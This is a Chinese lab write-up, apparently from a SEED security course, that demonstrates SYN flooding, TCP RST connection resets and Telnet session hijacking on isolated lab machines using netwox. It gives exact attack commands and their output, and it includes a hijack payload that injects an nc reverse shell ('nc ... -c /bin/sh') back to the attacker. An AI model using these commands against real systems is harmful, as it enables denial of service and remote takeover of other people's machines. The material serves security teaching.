今天用实验来告诉大家,什么是TCP-IP攻击。最有趣的是会话劫持,你一定要看到最后哦~

TCP-IP攻击

概述

1. SYN-Flooding攻击效果,受害者系统卡死.

2. TCP-RST攻击实现已经建立的TCP连接断开.

3. TCP会话劫持,劫持TCP会话,并实现反向Shell.

实验环境

1. 三台Linux系统主机,一台作为攻击者,一台作为受害者,一台作为观察者.

2. 为了简化TCP序列号和源端口号的“猜测”,实验处于同一局域网内,你可以使用嗅探器来获取受害者信息.

SYN-Flooding攻击

1. SYN-Flooding攻击原理

SYN-Flooding是DoS攻击的一种,攻击者向受害者的TCP端口发送很多SYN请求,但攻击者无意完成三次握手过程.

攻击者要么使用欺骗性的假的IP地址,要么不要继续完成整个三次握手过程.

通过这种攻击,攻击者可以淹没用于半连接的受害者队列,即已完成SYN,SYN-ACK但尚未得到最终ACK的连接.

当这个队列已满时,受害者不能再进行任何连接.

正常三次握手过程:

client  ---  service
SYN     --><--  SYN-ACK
ACK     --->

在Linux中,我们可以使用以下命令检查

命令:#sysctl -q net.ipv4.tcp_max_syn_backlog
root@gt:/home/git/Keep-learning/mySeedLab# sysctl -q net.ipv4.tcp_max_syn_backlog
net.ipv4.tcp_max_syn_backlog = 512

我们可以使用命令netstat -na来检查队列的使用情况,即与监听端口相关联的半连接的数量.

这种半连接的状态是SYN-RECV。如果三次握手完成,则连接的状态将为ESTABLISHED.

在这个任务中,你需要演示SYN-Flooding攻击:

您可以使用Netwox来执行攻击,然后使用嗅探器捕获攻击性数据包.

在攻击发生时,在受害机器上运行netstat -na命令,并将结果与攻击前的结果进行比较.

2. Netwox 76简介

标题:Synflood
用法:netwox 76 -i ip -p port [-s spoofip]
参数:
-i | --dst-ip ip 目标IP地址
-p | --dst-port port 目标端口号
-s | --spoofip spoofip IP欺骗初始化类型

3. SYN Cookie防御机制

如果你的攻击看起来不成功,你可以检查是否启用了SYN cookie机制.

SYN cookie是抵抗SYN-Flooding的防御机制.

防御原理简介:

在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时,不分配一个专门的数据区,

而是根据这个SYN包计算出一个cookie值.

在收到TCP ACK包时,TCP服务器在根据那个cookie值检查这个TCP ACK包的合法性.

如果合法,再分配专门的数据区进行处理未来的TCP连接.

你可以使用sysctl命令打开/关闭SYN cookie机制:

#sysctl -a | grep cookie(显示SYN cookie标志)
#sysctl -w net.ipv4.tcp_syncookies = 0(关闭SYN cookie)
#sysctl -w net.ipv4.tcp_syncookies = 1(打开SYN cookie)

4. 实验结果分析

攻击者:192.168.59.1
受害者:192.168.59.144
攻击者终端对受害者进行SYN-Flooding打击:
# netwox 76 -i 192.168.59.144 -p 80
实验现象:受害者系统出现卡死状态.

比较netstat -na前后状态如下:

产生大量的TCP半连接,阻塞了队列,导致后续正常TCP连接无法建立!!

[04/17/2018 16:41] seed@ubuntu:~$ diff 1.txt 2.txt
5a6,261
> tcp        0      0 192.168.59.144:80       253.138.146.184:9358    SYN_RECV
> tcp        0      0 192.168.59.144:80       246.55.107.172:50273    SYN_RECV
> tcp        0      0 192.168.59.144:80       196.23.102.181:5583     SYN_RECV
> tcp        0      0 192.168.59.144:80       242.22.15.17:45979      SYN_RECV
> tcp        0      0 192.168.59.144:80       246.166.91.206:61644    SYN_RECV
> tcp        0      0 192.168.59.144:80       249.212.122.218:23424   SYN_RECV
> tcp        0      0 192.168.59.144:80       251.32.218.10:56419     SYN_RECV
> tcp        0      0 192.168.59.144:80       248.235.192.194:41439   SYN_RECV
> tcp        0      0 192.168.59.144:80       241.118.133.147:19187   SYN_RECV
> tcp        0      0 192.168.59.144:80       242.23.168.166:21253    SYN_RECV
> tcp        0      0 192.168.59.144:80       247.207.89.108:45839    SYN_RECV
> ...........................................................................

TCP-RST攻击

1. FTP协议

# service vsftpd start

2. TELNET协议

# /etc/init.d/openbsd-inetd start

3. SSH协议

# /etc/init.d/ssh start

4. Newox 78简介

标题:重置每个TCP数据包
用法:netwox 78 [-d device] [-f filter] [-s spoofip]
参数:
-d | --device device名称{Eth0}
-f | --filter filter pcap过滤器
-s | --spoofip spoofip IP欺骗初始化类型{linkbraw}

5. 实验结果分析

- FTP

  • FTP服务器地址:192.168.59.146/24
  • FTP客户端地址:192.168.59.144/24
  • 攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/17/2018 23:28] seed@ubuntu:~$ ftp 192.168.59.146
Connected to 192.168.59.146.
220 (vsFTPd 3.0.3)
Name (192.168.59.146:seed): gu
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Desktop
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Documents
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Downloads
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Music
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Pictures
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Public
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Templates
drwxr-xr-x    2 1000     1000         4096 Apr 16 16:32 Videos
226 Directory send OK.
ftp>
ftp> ls
421 Service not available, remote server has closed connection
ftp>

- Telnet

  • Telnet服务器地址:192.168.59.146/24
  • Telnet客户端地址:192.168.59.144/24
  • 攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
telnet: Unable to connect to remote host: Connection refused
[04/17/2018 23:36] seed@ubuntu:~$ telnet 192.168.59.146
Trying 192.168.59.146...
Connected to 192.168.59.146.
Escape character is '^]'.
Ubuntu 16.04.4 LTS
ubuntu login: gu
Password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)gu@ubuntu:~$
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$
gu@ubuntu:~$ Connection closed by foreign host.
[04/18/2018 00:28] seed@ubuntu:~$

- SSH

  • SSH服务器地址:192.168.59.146/24
  • SSH客户端地址:192.168.59.144/24
  • 攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP-RST打击:

# netwox 78 -d vmnet8

结果显示:已经建立的TCP连接断开.

[04/18/2018 00:40] seed@ubuntu:~$ ssh gu@192.168.59.146
gu@192.168.59.146's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic i686)Last login: Wed Apr 18 00:27:06 2018 from 192.168.59.144
gu@ubuntu:~$ ls
Desktop    Downloads         Music     Public     Videos
Documents  examples.desktop  Pictures  Templates
gu@ubuntu:~$
gu@ubuntu:~$
gu@ubuntu:~$ Write failed: Broken pipe
[04/18/2018 00:41] seed@ubuntu:~$

TCP会话劫持

1. 会话劫持简介

TCP会话劫持攻击的目标是通过向该会话中注入恶意内容来劫持两名受害者之间的现有TCP连接(会话).

如果这个连接是一个telnet会话,攻击者可以在这个会话中注入恶意命令(例如删除重要文件),导致受害者执行恶意命令.

2. Wireshark简介

如果您使用Wireshark观察网络流量,当Wireshark显示TCP序列号时,

默认情况下会显示相对序列号,它等于实际序列号减去初始序列号.

如果想查看包中的实际序列号,则需要右键单击Wireshark输出的TCP部分,

然后选择"Protocol Preference". 在弹出窗口中,取消选"Relative Sequence Number"选项.

3. Netwox 40简介

标题: Spoof Ip4Tcp packet
用法: netwox 40 [-l ip] [-m ip] [-o port] [-p port] [-q uint32] [-B]
参数:-c|--ip4-tos uint32            IP4 tos {0}-e|--ip4-id uint32             IP4 id (rand if unset) {0}-f|--ip4-reserved|+f|--no-ip4-reserved IP4 reserved-g|--ip4-dontfrag|+g|--no-ip4-dontfrag IP4 dontfrag-h|--ip4-morefrag|+h|--no-ip4-morefrag IP4 morefrag-i|--ip4-offsetfrag uint32     IP4 offsetfrag {0}-j|--ip4-ttl uint32            IP4 ttl {0}-k|--ip4-protocol uint32       IP4 protocol {0}-l|--ip4-src ip                IP4 src {172.16.27.1}-m|--ip4-dst ip                IP4 dst {5.6.7.8}-n|--ip4-opt ip4opts           IPv4 options-o|--tcp-src port              TCP src {1234}-p|--tcp-dst port              TCP dst {80}-q|--tcp-seqnum uint32         TCP seqnum (rand if unset) {0}-r|--tcp-acknum uint32         TCP acknum {0}-s|--tcp-reserved1|+s|--no-tcp-reserved1 TCP reserved1-t|--tcp-reserved2|+t|--no-tcp-reserved2 TCP reserved2-u|--tcp-reserved3|+u|--no-tcp-reserved3 TCP reserved3-v|--tcp-reserved4|+v|--no-tcp-reserved4 TCP reserved4-w|--tcp-cwr|+w|--no-tcp-cwr   TCP cwr-x|--tcp-ece|+x|--no-tcp-ece   TCP ece-y|--tcp-urg|+y|--no-tcp-urg   TCP urg-z|--tcp-ack|+z|--no-tcp-ack   TCP ack-A|--tcp-psh|+A|--no-tcp-psh   TCP psh-B|--tcp-rst|+B|--no-tcp-rst   TCP rst-C|--tcp-syn|+C|--no-tcp-syn   TCP syn-D|--tcp-fin|+D|--no-tcp-fin   TCP fin-E|--tcp-window uint32         TCP window {0}-F|--tcp-urgptr uint32         TCP urgptr {0}-G|--tcp-opt tcpopts           TCP options-H|--tcp-data mixed_data       mixed data

4. 实验结果分析

  • Telnet服务器地址:192.168.59.148/24
  • Telnet客户端地址:192.168.59.146/24
  • 攻击者地址:192.168.59.1/24

攻击者终端对受害者进行TCP会话劫持:

我们要伪造发下一个包:

所以直接采用nextseq作为下一个包的ack,采用ack作为下一个包的seq.

最后一个Telnet数据包内容如下:

我们伪造向服务器192.168.59.148发送ls命令,

将ls转换成16进制并加上\r的16进制数得到6c730d00,

通过netwox构造我们的攻击指令如下:

netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46088 --tcp-dst 23 --tcp-seqnum 1362571669 --tcp-acknum 644316190 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6c730d00"

在wireshark上显示抓包数据如下:

我们成功的发送了ls !!!

我们成功的获取到了服务器发送的数据 !!!

来创建我们的肉鸡~

现在我们来通过NC反弹一个Shell,来控制我们受害者:

首先是构造NC命令:

攻击者:nc -lp 10010 -vvv
受害者:nc 192.168.59.1 10010 -c /bin/sh
创建NC攻击语句:
netwox 40 --ip4-offsetfrag 0 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 192.168.59.146 --ip4-dst 192.168.59.148 --tcp-src 46098 --tcp-dst 23 --tcp-seqnum 1600031421 --tcp-acknum 830921755 --tcp-ack --tcp-psh --tcp-window 128 --tcp-data "6e63203139322e3136382e35392e31203130303130202d63202f62696e2f73680d00"

实验结果如图:

首先看结果:我们成功拿到了服务器上的用户gu的所有权限!

咱们再来看看抓包数据,通过抓包数据,你可以看到最后一条Telnet的TCP数据,通过这些数据,就可以很方便通过Netwox构造攻击语句了!!

什么是TCP-IP攻击?相关推荐

  1. TCP / IP攻击:ARP缓存中毒的基本原理、TCP序列号预测和TCP重置攻击

    目录 解释ARP缓存中毒的基本原理 ARP协议 ARP缓存中毒概念 ARP缓存中毒后果 1)拒绝服务 2)中间人 3)MAC泛洪 ARP缓存中毒缓解技术 TCP序列号预测和TCP重置攻击 TCP概述 ...

  2. TCP/IP攻击实验(ARP,ICMP,SYN,RST,TCP会话劫持)

    一.实验背景 由于TCP/IP协议是Internet的基础协议,从开始设计的时候并没有考虑到现在网络上如此多的威胁,由此导致了许多形形色色的攻击方法,一般如果是针对协议原理的攻击,尤其DDOS,我们将 ...

  3. 软件安全实验——lab10(二、TCP/IP攻击实验)

    目录标题 1.实验室概况 2.实验室环境 2.1环撞设置 2.2教师须知 3.实验室的任务 3.1 Task (1): ARP缓存中毒 (1)80号工具攻击: (2)33号工具攻击: 3.2任务(2) ...

  4. 网络安全知多少?了解常见的TCP/IP攻击,从此安全不用愁

    TCP/IP协议栈–IPV4安全隐患: 1.缺乏数据源验证机制. 2.缺乏完整性验证机制. 3.缺乏机密性保障机制. 应用层:漏洞.缓冲区溢出攻击.WEB应用的攻击.病毒木马等. 传输层:TCP欺骗. ...

  5. 美国高防服务器:恒讯科技为您解答TCP/IP的攻击原理

    TCP/IP协议是互联网最基本的协议,不依赖于任何指定的计算机设备或操作系统,是一种开放的协议标准.就算不考虑互联网,TCP/IP也是互联网使用的标准协议集,是互联网中恶意攻击者的重点关注对象.针对网 ...

  6. TCP/IP网络协议栈面试经典题目

    目录 面试官:看你简历说精通TCP和IP,那我们来讨论下网络模型和TCP.IP协议,讲下你的理解先 面试官:看你画的图,TCP有自己的首部结构,这都有哪些字段,最好说说它们的作用 面试官:那TCP和U ...

  7. TCP/IP网络协议栈:IP协议

    <TCP/IP网络协议栈:以太网数据包结构.802.3> <TCP/IP网络协议栈:ARP协议详解> <TCP / IP攻击:ARP缓存中毒的基本原理.TCP序列号预测和 ...

  8. TCP/IP网络协议栈:ARP协议详解

    <TCP/IP网络协议栈:以太网数据包结构.802.3> <TCP/IP网络协议栈:ARP协议详解> <TCP / IP攻击:ARP缓存中毒的基本原理.TCP序列号预测和 ...

  9. TCP/IP网络协议栈:以太网数据包结构、802.3、MTU

    <TCP/IP网络协议栈:以太网数据包结构.802.3> <TCP/IP网络协议栈:ARP协议详解> <TCP / IP攻击:ARP缓存中毒的基本原理.TCP序列号预测和 ...

  10. TCP/IP / SYN 攻击以及解决办法

    一.攻击简略 SYN 攻击是利用 TCP/IP 三次握手时,Server 需要回复 SYN + ACK 等待 Client 回复时会等待一段时间的特性来进行攻击的.攻击者会同时伪造大量的 IP 和 P ...

最新文章

  1. 面试:字符串拼接,什么时候用StringBuilder?
  2. angularjs获取上一个元素的id_三男子非法获取苹果ID账号买卖,交易数万条,价格从一毛到上百元不等...
  3. Python: adb自动化ce'shi
  4. Win32 API串口编程
  5. 阿里技术专家:进击的 Java ,云原生时代的蜕变
  6. TypeError: cannot perform reduce with flexible type
  7. selenium + python自动化测试unittest框架学习(一)selenium原理及应用
  8. 敏捷结果:项目开发中的一些想法和疑问
  9. 利用Session实现一次性验证码(多学一招)
  10. android开发工具哪个好_小程序开发工具怎么用?哪个好用?
  11. SQL Server高级查询之T-SQL编程(存储过程)
  12. ArrayList实现原理及源码分析之JDK8
  13. bay——RAC_ASM ORA-15001 diskgroup DATA does not exist or is not mounted.docx
  14. win 10 使用技巧总结
  15. apache的动态网站部署,discuz论坛系统和ecshop电商系统
  16. Distributional RL with Quantile Regression论文翻译
  17. linux操作 防火墙
  18. 关于 用无线路由器组成的局域网内共享文件_习惯累积沉淀_新浪博客
  19. 大数据以及Hadoop相关概念介绍
  20. 5.2.6UART寄存器编程(下)

热门文章

  1. overflow: auto与overflow:hidden区别
  2. 从“地球漫游计划”看城市,如何利用视频监控让城市直播更简单?
  3. vue上传录音_通过使用vue如何才能实现添加mp3音频文件
  4. 外国技术牛人对Hadoop的认识
  5. china.js实现中国地图
  6. 普乐蛙5d车载影院5d飞行影院5d轨道影院体验馆
  7. 柔性电子: 无铅的分子铁电体 TMBM-MnBr3
  8. console常用方法
  9. Win7、windows 2008 IIS7.5下载安装方法以及教程 IIS7配置PHP环境图文教程(fastcgi快速最新版)
  10. Android WIFI调试助手2.0使用指南